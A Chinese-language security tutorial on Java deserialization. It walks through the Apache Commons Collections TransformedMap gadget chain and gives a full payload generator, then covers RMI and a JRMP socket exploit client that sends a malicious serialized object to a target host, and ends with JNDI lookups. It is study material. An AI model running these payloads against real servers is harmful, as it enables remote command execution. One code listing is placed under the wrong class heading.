java.io.Externalizableajva.io.Serializable几乎一样,只是java.io.Externalizable接口定义了writeExternalreadExternal方法需要序列化和反序列化的类实现。其余和java.io.Serializable一样,没有差别

public interface Externalizable extends java.io.Serializable {

  void writeExternal(ObjectOutput out) throws IOException;

  void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;

}

Externalizable的测试代码如下

package com.anbai.sec.serializes;

import java.io.*;
import java.util.Arrays;

/**
 * Creator: yz
 * Date: 2019/12/15
 */
public class ExternalizableTest implements java.io.Externalizable {

    private String username;

    private String email;

    // 省去get/set方法....

    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        out.writeObject(username);
        out.writeObject(email);
    }

    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        this.username = (String) in.readObject();
        this.email = (String) in.readObject();
    }

    public static void main(String[] args) {
        // 省去测试代码,因为和DeserializationTest一样...
    }

}

Apache Commons Collections 反序列化漏洞

Apache CommonsApache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。本节将逐步详解Collections反序列化攻击链(仅以TransformedMap调用链为示例)最终实现反序列化RCE

通过接口查询,能获取到 ConstantTransformer , invokerTransformer ChainedTransformer TransformedMap 这些都实现了Transformer接口

接下来进行分析,先从官网下载包

Collections – Download Apache Commons Collections

ConstantTransformer

ConstantTransformer 类是Transformer接口的实现类,其中ConstantTransformer类,重写了接口类的transformer方法

public class ClosureTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 478466901448617286L;
    private final Closure iClosure;

    public static Transformer getInstance(Closure closure) {
        if (closure == null) {
            throw new IllegalArgumentException("Closure must not be null");
        } else {
            return new ClosureTransformer(closure);
        }
    }

    public ClosureTransformer(Closure closure) {
        this.iClosure = closure;
    }

    public Object transform(Object input) {
        this.iClosure.execute(input);
        return input;
    }

    public Closure getClosure() {
        return this.iClosure;
    }
}

通过ConstantTransformer类的transform方法获取一个对象类型,如transform参数是Runtime.class时,调用ConstantTransformer类的transform方法,执行后返回java.lang.Runtime

InvokerTransformer

Collections中提供了一个非常重要的类

org.apache.commons.collections.functors.InvokerTransformer

这个类实现的是,java.io.Serializble接口,2015年有研究者发现InvokerTransformer类的transform方法可以实现Java反序列化RCE

利用方法frohoff/ysoserial

InvokerTransformer类实现了org.apache.commons.collections.Transformer接口,同时,Transformer提供了一个对象转换方法transform,主要用于将输入对象转化为输出对象。InvokerTransformer类的主要作用就是利用java反射机制来创建类实例

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
          // 获取输入类的类对象
        Class cls = input.getClass();

          // 通过输入的方法名和方法参数,获取指定的反射方法对象
        Method method = cls.getMethod(iMethodName, iParamTypes);

          // 反射调用指定的方法并返回方法调用结果
        return method.invoke(input, iArgs);

    } catch (Exception ex) {
        // 省去异常处理部分代码
    }
}

使用InvokerTransformer实现调用本地命令方法

package demo;

import org.apache.commons.collections4.functors.InvokerTransformer;

public class test {
    public static void main(String[] args) {
        //定义需要执行的本地命令
        String cmd="calc.exe";
        //构建Transformer对象
        InvokerTransformer transformer = new InvokerTransformer(
                "exec",new Class[]{String.class},new Object[]{cmd}
        );
        transformer.transform(Runtime.getRuntime());
    }
}

上述实例演示了通过InvokerTransformer的反射机制来调用java.lang.Runtime来实现命令执行,但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的。

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformertransform方法。

//ChainedTransformer.java:
public class ChainedTransformer implements Transformer, Serializable {

  /** The transformers to call in turn */
  private final Transformer[] iTransformers;

  // 省去多余的方法和变量

  public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
  }

  public Object transform(Object object) {
      for (int i = 0; i < iTransformers.length; i++) {
          object = iTransformers[i].transform(object);
      }
      return object;
  }

}

使用ChainedTransformer实现调用本地命令的方法

package demo;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class test02 {
    public static void main(String[] args) {
        // 定义需要执行的本地系统命令
        String cmd = "calc";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 执行对象转换操作
        transformedChain.transform(null);
    };}

InvokerTransformer利用链

现在我们已经使用InvokerTransformer创建了一个含有恶意调用链的Transformer类的Map对象,紧接着我们应该思考如何才能够将调用链窜起来并执行。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      return new TransformedMap(map, keyTransformer, valueTransformer);
}

public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      // 省去实现代码
}

只要调用TransformedMapsetValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,从而也就会触发命令执行

使用TransformedMap类的setValue触发transform示例

package demo;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test03 {
    public static void main(String[] args) {
        String cmd = "calc.exe";

        // 此处省去创建transformers过程,参考上面的demo
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.transformingMap(map, null, transformedChain);

        // transformedMap.put("v1", "v2");// 执行put也会触发transform

        // 遍历Map元素,并调用setValue方法
        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;

            // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
            entry.setValue("test");
        }

        System.out.println(transformedMap);
    }
}

上述代码向我们展示了只要在java的API中的任何一个类实现了java,io,Serializable接口,并且可以传入我们构建的TransformerMap对象,还可以传入构建的TransformeMap对象,还需要有调用TransformedMap中的SetValue/put/putAll中的任意方法的类,我们就可以在Java反序列化的时候触发InvokerTransformer类的transform方法实现RCE

AnnotationInvocationHandler

package sun.reflect.annotation;

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

  AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    // 省去代码部分
  }

  // Java动态代理的invoke方法
  public Object invoke(Object var1, Method var2, Object[] var3) {
    // 省去代码部分
  }

  private void readObject(ObjectInputStream var1) {
      // 省去代码部分
  }

}

创建AnnotationInvocationHandler对象

因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象:

// 创建Map对象
Map map = new HashMap();

// map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名,比如创建
// AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target,那么map
// 的key必须是@Target注解中的方法名,即:value,否则在反序列化AnnotationInvocationHandler
// 类调用其自身实现的readObject方法时无法通过if判断也就无法通过调用到setValue方法了。
map.put("value", "value");

// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法的访问权限
constructor.setAccessible(true);

// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);

instance对象就是我们最终用于序列化的AnnotationInvocationHandler对象,我们只需要将这个instance序列化后就可以得到用于攻击的payload了。

搬上大佬的例子

package com.anbai.sec.serializes;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

/**
 * Creator: yz
 * Date: 2019/12/16
 */
public class CommonsCollectionsTest {

    public static void main(String[] args) {
        String cmd = "open -a Calculator.app";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

//        // 遍历Map元素,并调用setValue方法
//        for (Object obj : transformedMap.entrySet()) {
//            Map.Entry entry = (Map.Entry) obj;
//
//            // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
//            entry.setValue("test");
//        }
//
        transformedMap.put("v1", "v2");// 执行put也会触发transform

        try {
            // 获取AnnotationInvocationHandler类对象
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

            // 获取AnnotationInvocationHandler类的构造方法
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

            // 设置构造方法的访问权限
            constructor.setAccessible(true);

            // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
            Object instance = constructor.newInstance(Target.class, transformedMap);

            // 创建用于存储payload的二进制输出流对象
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            // 创建Java对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);

            // 序列化AnnotationInvocationHandler类
            out.writeObject(instance);
            out.flush();
            out.close();

            // 获取序列化的二进制数组
            byte[] bytes = baos.toByteArray();

            // 输出序列化的二进制数组
            System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));

            // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);

            // 模拟远程的反序列化过程
            in.readObject();

            // 关闭ObjectInputStream输入流
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

反序列化RCE调用链如下:

ObjectInputStream.readObject()
  ->AnnotationInvocationHandler.readObject()
      ->TransformedMap.entrySet().iterator().next().setValue()
          ->TransformedMap.checkSetValue()
        ->TransformedMap.transform()
          ->ChainedTransformer.transform()
            ->ConstantTransformer.transform()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Class.getMethod()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.getRuntime()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.exec()

RMI

RMI(Remote Method Invocation)Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。

RMI底层通讯采用了Stub(运行在客户端)Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称Remote对象。
  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

RMI的Demo

这里以数学加减法的demo为例子

首先,定义一个接口IRemoteMath,用于后续实现服务器端的方法

package javaRMIPath;

import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * 必须继承Remote接口。
 * 所有参数和返回类型必须序列化(因为要网络传输)。
 * 任意远程对象都必须实现此接口。
 * 只有远程接口中指定的方法可以被调用。
 */
public interface IRemoteMath extends Remote {
    // 所有方法必须抛出RemoteException
    public double add(double a, double b) throws RemoteException;
    public double subtract(double a, double b) throws RemoteException;
}

 然后,继承UnicastRemoteObject类,实现刚刚定义的接口

package javaRMIPath;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

/**
 * 服务器端实现远程接口。
 * 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。
 */
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {

    private int numberOfComputations;

    protected RemoteMath() throws RemoteException {
        numberOfComputations = 0;
    }

    @Override
    public double add(double a, double b) throws RemoteException {
        numberOfComputations++;
        System.out.println("Number of computations performed so far = "
                + numberOfComputations);
        return (a+b);
    }

    @Override
    public double subtract(double a, double b) throws RemoteException {
        numberOfComputations++;
        System.out.println("Number of computations performed so far = "
                + numberOfComputations);
        return (a-b);
    }

}

然后定义一个服务端 RMIServer RMIServer

package javaRMIPath;

import javaRMIPath.IRemoteMath;
import javaRMIPath.RemoteMath;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * 创建RemoteMath类的实例并在rmiregistry中注册。
 */
public class RMIServer {

    public static void main(String[] args)  {

        try {
            // 注册远程对象,向客户端提供远程对象服务。
            // 远程对象是在远程服务上创建的,你无法确切地知道远程服务器上的对象的名称,
            // 但是,将远程对象注册到RMI Registry之后,
            // 客户端就可以通过RMI Registry请求到该远程服务对象的stub,
            // 利用stub代理就可以访问远程服务对象了。
            IRemoteMath remoteMath = new RemoteMath();
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            registry.bind("Compute", remoteMath);
            System.out.println("Math server ready");
            // 如果不想再让该对象被继续调用,使用下面一行
            // UnicastRemoteObject.unexportObject(remoteMath, false);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

最后定义一个客户端MathClient

package javaRMIPath;

import javaRMIPath.IRemoteMath;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class MathClient {

    public static void main(String[] args) {

        try {
            // 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:1099/hello
            // 否则,URL就是:rmi://RMIService_IP:1099/hello
            Registry registry = LocateRegistry.getRegistry("localhost");
            // 从Registry中检索远程对象的存根/代理
            IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");
            // 调用远程对象的方法
            double addResult = remoteMath.add(5.0, 3.0);
            System.out.println("5.0 + 3.0 = " + addResult);
            double subResult = remoteMath.subtract(5.0, 3.0);
            System.out.println("5.0 - 3.0 = " + subResult);
        }catch(Exception e) {
            e.printStackTrace();
        }

    }

}

最终实现效果是这样的

RMI反序列化漏洞

我们通过上面可以知道,RMI通信中所有的对象都是java序列化传输的,说明可能存在漏洞

既然RMI使用了反序列化机制来传输Remote对象,那么可以通过构建一个恶意的Remote对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。

出于安全原因,禁用了对org.apache.commons.collections.functors.InvokerTransformer的序列化支持。要启用它,请将系统属性“org.apache.commons.collections.enableUnsafeSerialization”设置为“true”,但您必须确保您的应用程序不会反序列化来自不受信任的源的对象

经查找资料,将Apache Commons Collections升级到3.2.2以后,为了安全考虑,就默认关掉了,需要我们手动去更改JVM的属性从而开启。

具体方法:https://www.coder.work/article/4724891

但这样的话,条件就比较苛刻了,一般没人会这么开启的。建议能找到3.1版本的就使用3.1版本的。

执行流程如下所示

  1. 使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。

  2. 构建一个适用于Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。
  3. 使用RemoteStub调用RMI服务端bind指令,并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端
  4. RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE

RMI-JRMP反序列化漏洞

JRMP接口的两种常见方式

  1. JRMP协议,(Java Remote Message Protocol),是RMI专用的java远程消息交换协议
  2. IIOP协议(Internet Inter-ORB Protocol),基于 CORBA 实现的对象请求代理协议。

CORBA(Common ObjectRequest Broker Architecture公共对象请求代理体系结构)

由于RMI数据通信大量的使用了java对象的反序列化,所以,在使用RMI客户端去攻击RMI服务端的时候,也要特别小心,如果本地RMI客户端刚好符合被反序列化攻击的条件,那么RMI服务端返回一个恶意的反序列化攻击包可能导致我们被反向攻击。

我们可以通过和RMI服务端建立Socket连接并使用RMIJRMP协议发送恶意的序列化包,RMI服务端在处理JRMP消息时会反序列化消息对象,从而实现RCE

JRMP客户端反序列化攻击的示例代码

package com.anbai.sec.rmi;

import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;

import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;

import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;

/**
 * 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,
 * 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
 */
public class JRMPExploit {

   public static void main(String[] args) throws IOException {
      if (args.length == 0) {
         // 如果不指定连接参数默认连接本地RMI服务
         args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
      }

      // 远程RMI服务IP
      final String host = args[0];

      // 远程RMI服务端口
      final int port = Integer.parseInt(args[1]);

      // 需要执行的系统命令
      final String command = args[2];

      // Socket连接对象
      Socket socket = null;

      // Socket输出流
      OutputStream out = null;

      try {
         // 创建恶意的Payload对象
         Object payloadObject = RMIExploit.genPayload(command);

         // 建立和远程RMI服务的Socket连接
         socket = new Socket(host, port);
         socket.setKeepAlive(true);
         socket.setTcpNoDelay(true);

         // 获取Socket的输出流对象
         out = socket.getOutputStream();

         // 将Socket的输出流转换成DataOutputStream对象
         DataOutputStream dos = new DataOutputStream(out);

         // 创建MarshalOutputStream对象
         ObjectOutputStream baos = new MarshalOutputStream(dos);

         // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
         dos.writeInt(TransportConstants.Magic);// 魔数
         dos.writeShort(TransportConstants.Version);// 版本
         dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
         dos.write(TransportConstants.Call);// RMI调用指令
         baos.writeLong(2); // DGC
         baos.writeInt(0);
         baos.writeLong(0);
         baos.writeShort(0);
         baos.writeInt(1); // dirty
         baos.writeLong(-669196253586618813L);// 接口Hash值

         // 写入恶意的序列化对象
         baos.writeObject(payloadObject);

         dos.flush();
      } catch (Exception e) {
         e.printStackTrace();
      } finally {
         // 关闭Socket输出流
         if (out != null) {
            out.close();
         }

         // 关闭Socket连接
         if (socket != null) {
            socket.close();
         }
      }
   }

}

JNDI

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

  • Naming Service 命名服务

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

  • Directory Service 目录服务

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象有属性,目录服务中的对象称为目录对象,目录服务提供创建,添加,删除目录对象以及修改目录对象中的属性

  • Reference引用

在一些命名服务系统中,系统并不是直接将对象储存在系统中,而是保持对对象的引用,引用包含了如何对对象进行实际的访问

JNDI目录服务

访问JNDI目录服务时,会预先设置好环境变量访问对应的服务,如果创建JNDI上下文(Context)时,未指定环境变量,JNDI对自动搜索系统属性(System.getProperty()), applet参数 和 应用程序资源文件(jndi.properties)

使用JNDI创建目录服务对象代码 片段

//创建环境变量对象
Hashtable env = new Hashtable();
//设置JNDI初始化工厂类名
env.put(Content.INITIAL_CONTEXT_FACTORY,"类名");
//设置JNDI提供服务恶的URL地址
env.put(Content.PROVIDER_RUL,"url");
//创建JNDI目录服务对象
DirContext Context = new InitialDirContext(env);

Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)指的是JNDI服务处理的具体类名称,如:DNS服务可以使用com.sun.jndi.dns.DnsContextFactory类来处理,JNDI上下文工厂类必须实现javax.naming.spi.InitialContextFactory接口,通过重写getInitialContext方法来创建服务

javax.naming.spi.InitialContextFactory:

package javax.naming.spi;

public interface InitialContextFactory {

  public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;

}

JNDI-DNS解析

使用JNDI去解析DNS测试

package com.anbai.sec.jndi;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

/**
 * Creator: yz
 * Date: 2019/12/23
 */
public class DNSContextFactoryTest {

   public static void main(String[] args) {
      // 创建环境变量对象
      Hashtable env = new Hashtable();

      // 设置JNDI初始化工厂类名
      env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");

      // 设置JNDI提供服务的URL地址,这里可以设置解析的DNS服务器地址
      env.put(Context.PROVIDER_URL, "dns://223.6.6.6/");

      try {
         // 创建JNDI目录服务对象
         DirContext context = new InitialDirContext(env);

         // 获取DNS解析记录测试
         Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
         Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});

         System.out.println(attrs1);
         System.out.println(attrs2);
      } catch (NamingException e) {
         e.printStackTrace();
      }
   }

}

JNDI远程方法调用(未成功)

RMI的服务处理工厂类是com.sun.jndi.rmi.registry.RegistryContextFactory,在调用远程的RMI方法之前需要先启动RMI服务,启动完成以后就可以使用JNDI链接并进行调用了

package com.anbai.sec.jndi;

import com.anbai.sec.rmi.RMITestInterface;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.RemoteException;
import java.util.Hashtable;

import static com.anbai.sec.rmi.RMIServerTest.*;

/**
 * Creator: yz
 * Date: 2019/12/24
 */
public class RMIRegistryContextFactoryTest {

   public static void main(String[] args) {
      String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;

      // 创建环境变量对象
      Hashtable env = new Hashtable();

      // 设置JNDI初始化工厂类名
      env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

      // 设置JNDI提供服务的URL地址
      env.put(Context.PROVIDER_URL, providerURL);

      // 通过JNDI调用远程RMI方法测试,等同于com.anbai.sec.rmi.RMIClientTest类的Demo
      try {
         // 创建JNDI目录服务对象
         DirContext context = new InitialDirContext(env);

         // 通过命名服务查找远程RMI绑定的RMITestInterface对象
         RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);

         // 调用远程的RMITestInterface接口的test方法
         String result = testInterface.test();

         System.out.println(result);
      } catch (NamingException e) {
         e.printStackTrace();
      } catch (RemoteException e) {
         e.printStackTrace();
      }
   }

}

JNDI-LDAP

LDAP的服务处理,工厂类是com.sun.jndi.ldap.LdapCtxFactory,连接之前需要配置好远程的LDAP服务

import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class tEST {

        public static void main(String[] args) {
            try {
                // 设置用户LDAP登陆用户DN
                String userDN = "cn=Manager,dc=javaweb,dc=org";

                // 设置登陆用户密码
                String password = "123456";

                // 创建环境变量对象
                Hashtable<String, Object> env = new Hashtable<String, Object>();

                // 设置JNDI初始化工厂类名
                env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");

                // 设置JNDI提供服务的URL地址
                env.put(Context.PROVIDER_URL, "ldap://localhost:389");

                // 设置安全认证方式
                env.put(Context.SECURITY_AUTHENTICATION, "simple");

                // 设置用户信息
                env.put(Context.SECURITY_PRINCIPAL, userDN);

                // 设置用户密码
                env.put(Context.SECURITY_CREDENTIALS, password);

                // 创建LDAP连接
                DirContext ctx = new InitialDirContext(env);

                // 使用ctx可以查询或存储数据,此处省去业务代码

                ctx.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

    }

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值